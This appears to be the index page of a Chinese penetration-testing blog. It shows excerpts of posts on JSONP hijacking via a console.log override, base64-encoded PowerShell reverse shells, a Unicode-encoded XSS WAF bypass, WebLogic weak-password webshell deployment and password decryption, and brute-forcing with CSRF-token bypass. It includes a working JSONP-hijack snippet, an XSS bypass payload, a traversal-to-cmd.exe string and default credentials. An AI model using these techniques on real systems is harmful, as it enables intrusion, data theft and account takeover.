bookmark_border利用console.log进行JSONP劫持

主要写console.log劫持另类JSONP接口数据的方式,这里就不过多阐述JSONP和JSONP劫持的知识,只贴链接。

什么是JSONP

JSONP是一种跨域传输的方式,具体参考百科JSONP

JSONP在解决跨域传输问题的同时也带来了一些安全问题,比如JSONP劫持,参考知道创宇文章JSONP 安全攻防技术

常规JSONP接口

不能自定义callback

http://pv.sohu.com/cityjson

var returnCitySN = {"cip": "117.119.123.123", "cid": "110000", "cname": "北京市"};

这种接口直接将数据赋值到returnCitySN变量中,通过script标签加载接口后就可以直接使用。

<script src="http://pv.sohu.com/cityjson"></script>
<script>alert(returnCitySN.cip);</script>

能够自定义callback

https://api.ipify.org/?format=jsonp&callback=var%20a=

var a=({"ip":"117.119.74.9"});

这种接口可以自定义callback,这里创建一个a变量并赋值就可以直接使用了。

<script src="https://api.ipify.org/?format=jsonp&callback=var%20a=">
</script>
<script>alert(a.ip);</script>

另类JSONP接口

其实这个和上面的自定义callback一样,只不过接口会对callback参数内的特殊字符进行转换,比如var a=会转换成 vara_,这样就无法创建变量来读取了。

回到标题,利用console.log劫持另类JSONP数据,如果接口没有过滤.,那么就可以利用console.log输出数据,再通过读取console.log日志获取数据。

贴代码,拿上面能够自定义callback的接口做例子。

<script>
    var lastLog;
    console.oldLog = console.log;
    console.log = function (str) {
        console.oldLog(str);
        lastLog = str;
    }
</script>

<script src="https://api.ipify.org/?format=jsonp&callback=console.log"></script>

<script>
    alert(JSON.stringify(lastLog))
</script>

bookmark_bordermsf powershell base64 command

试着用泛微OA爆出来不久的漏洞反弹SHELL,通过网上公开的POC只能执行whomai之类的简单命令,复杂一些的会报错。直到后来发现可以使用Cobalt Strike生成的powershell反弹。

Cobalt Strike可以,那Metasploit可以吗?

Cobalt Strike 生成的Payload是这样的,一段被Base64编码的内容。

powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAa......

而Msfvenom没有合适的encoder可以将powershell Payload进行Base64编码。

通过搜索得到一个这样的编码脚本,能够将Msfvenom生成的Payload像上面那样编码。

Continue reading “msf powershell base64 command”

bookmark_border高位Unicode转换绕过WAF实现XSS

0x00

今天测试的时候,同事使用的扫描器报出一个Unicode编码漏洞,payload是这样的:..%255c..\winnt\system32\cmd.exe,但实际上是一个误报。

不过在同事的一顿折腾下,发现特殊的Unicode编码可以绕过应用本身的XSS防护,如下面的payload就可以成功插入并执行:

%C0%BCscript%C0%BEalert%c0%a81%c0%a9%C0%BC%c0%afscript%C0%BE

同事和我都一脸懵逼,那么到底是为什么呢?

Continue reading “高位Unicode转换绕过WAF实现XSS”

bookmark_borderPython调用JS函数生成密文字典

0x00

在Web渗透的时候,经常会遇到一些登录表单用DES之类的加密方式来加密参数,又因为BurpSuite不支持这样的加密(也许我的Burp有问题,一直看不到),所以给暴力破解表单带来了麻烦。

以前就有想过能不能用JAVA、Python或者其他语言引用JS文件,调用内部的函数来生成字典,一直没有去尝试。这次刚好遇到就试着实现一下,顺便记录着水一篇博客。

Continue reading “Python调用JS函数生成密文字典”

bookmark_border一次简单的任意文件下载到上传SHELL

0x00

熬夜护网的朋友发来一个站,说遇到了问题,让我看看咋回事,那就看看到底咋回事。

说是网站有任意文件上传,但上传目录不在Web目录下,路径是这样的:

/opt/work/upload/{username}/01/{filename}时间戳.jpg

他注册了一个用户名为../{Web路径}的用户,然后上传发现程序自动把username转换成了大写,又因为是Linux系统,所以,卒。

Continue reading “一次简单的任意文件下载到上传SHELL”

bookmark_borderWeblogic 密文解密

在一次渗透测试中,我使用弱口令成功进入WebLogic控制台,并通过部署war包的方式获得WEBSHELL,接下来为了能够连接目标数据库,我找到了Web应用的配置文件,同时遇到了被加密的数据库连接密码。

WebLogic

WebLogic仅在开发环境下使用明文存储配置文件中的密码。在生产环境中,WebLogic会加密存储XML配置文件中的所有文本密码,以防止敏感信息泄露。

Find File

通常情况下,WebLogic中的Web应用会将数据库配置文件放置在config/jdbc目录下的*.xml文件中,很快我就找到了数据库的配置文件,jdbc2fE5NEW-3572-jdbc.xml

Continue reading “Weblogic 密文解密”

bookmark_borderWeblogic 弱口令上传SHELL

弱口令

测试的时候发现目标开了7001端口,尝试/console成功访问到weblogic,弱口令weblogic/weblogic进入。

曾经听人说过weblogic拿SHELL的方式,部署包获得SHELL,这次就来实践下。

准备SHELL

准备一个JSP的SHELL,jspspy.jsp

对SHELL文件进行zip压缩,并将文件名改为test.war

Continue reading “Weblogic 弱口令上传SHELL”

bookmark_border绕过另类CSRF_Token实现暴力破解

登录框

在测试的时候遇到一个没有验证码的登录框,但是有一次性的CSRF_Token。

不过这次的Token和往常的不一样,由随机名+随机值组成。

POST:/frontend/login/index?returnUrl=//baidu.com

username=admin&password=admin&aW6MMNQzhb5kMpb=Tmz1KPcngAD1Nwt7

BurpSuite中的宏只能通过固定的参数名来进行替换,比如csrf_token=abc可以替换为csrf_token=def。

Continue reading “绕过另类CSRF_Token实现暴力破解”